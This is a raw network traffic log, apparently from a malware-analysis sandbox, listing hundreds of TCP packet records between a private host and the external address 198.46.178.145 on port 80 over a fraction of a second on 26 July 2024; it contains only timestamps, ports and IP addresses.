Jul 26, 2024 11:27:10.736541033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.736552000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.736561060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.736566067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.736576080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.736581087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.736591101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.736603022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.736644030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.737350941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737361908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737370968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737382889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737391949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.737396955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737407923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737418890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737423897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.737432003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.737437963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737446070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.737485886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.737485886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738328934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738363981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738369942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738378048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738396883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738420010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738473892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738482952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738507032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738516092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738521099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738535881 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738563061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738918066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738926888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738940001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738949060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738957882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.738964081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738972902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738986015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.738990068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.739001989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.739104986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.751322985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751425982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751435995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751449108 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.751641989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.751717091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751730919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751739979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751754045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.751768112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.751811028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.806540012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806555986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806596041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806605101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.806644917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.806787968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806798935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806809902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806826115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.806843042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.806864023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.807336092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807346106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807360888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807374001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807384014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.807390928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807404041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807415962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.807421923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.807441950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.807470083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.808090925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808103085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808111906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808126926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808141947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.808151007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808163881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808178902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.808182955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.808203936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.808511019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.809011936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809022903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809032917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809048891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809056997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.809063911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809077024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809089899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.809098005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.809134960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.821639061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.821707010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.821727037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.821738958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.821784973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.821810007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.821985960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.821995974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822011948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822021961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822036982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.822077990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.822410107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822421074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822436094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822459936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.822480917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.822727919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822738886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822755098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.822783947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.822827101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.823142052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823153019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823168039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823178053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823190928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.823194981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823208094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823220015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823227882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.823236942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.823286057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.823286057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.824060917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824070930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824084044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824098110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824106932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.824115038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824127913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824140072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.824147940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.824198961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.824198961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.825005054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825016022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825031996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825043917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825052977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.825059891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825073004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825087070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825094938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.825105906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.825171947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.825184107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826040030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826051950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826071978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826083899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826091051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826103926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826113939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826126099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826132059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826142073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826153040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826284885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826910973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826922894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826936960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826950073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826958895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.826966047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826981068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.826994896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827001095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827007055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827016115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827075958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827075958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827756882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827768087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827809095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827857971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827868938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827883005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827893972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827907085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827912092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827924967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.827936888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.827959061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.828788042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.828798056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.828811884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.828841925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.828886986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.836719036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.836801052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.836812973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.836821079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.836846113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.836867094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.837012053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837022066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837038040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837063074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.837100029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.837436914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837449074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837460041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837465048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837480068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837490082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.837496042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837508917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.837521076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.837578058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.838160992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.838170052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.838216066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842117071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842190027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842201948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842211008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842253923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842377901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842427969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842487097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842497110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842556000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842556000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.842705965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842717886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.842827082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.897459030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897469997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897480011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897564888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.897564888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.897751093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897759914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897773027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897784948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.897799969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.897847891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.898121119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898130894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898145914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898155928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898169041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898174047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.898188114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898197889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898205042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.898230076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.898268938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.898948908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898957968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898972034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.898997068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.899048090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.899214983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899224997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899240017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899249077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899260998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899266958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.899280071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899290085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.899308920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.899334908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.900135994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.900146961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.900158882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.900171995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.900186062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.900227070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.913727999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.913783073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.913829088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.913837910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.913871050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.913933992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.914221048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914231062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914243937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914249897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914273977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.914318085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.914489031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914537907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.914642096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914650917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914691925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.914923906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914935112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914948940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914963961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.914977074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.915002108 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.915606976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915616035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915628910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915637970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915651083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915659904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915666103 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.915673971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.915680885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.915708065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.916420937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916430950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916439056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916452885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916465044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916474104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916480064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.916497946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.916502953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916512012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.916521072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.916589975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.917360067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.917371035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.917381048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.917395115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.917403936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.917412043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.917427063 CEST	80	49741	198.46.178.145	192.168.2.6
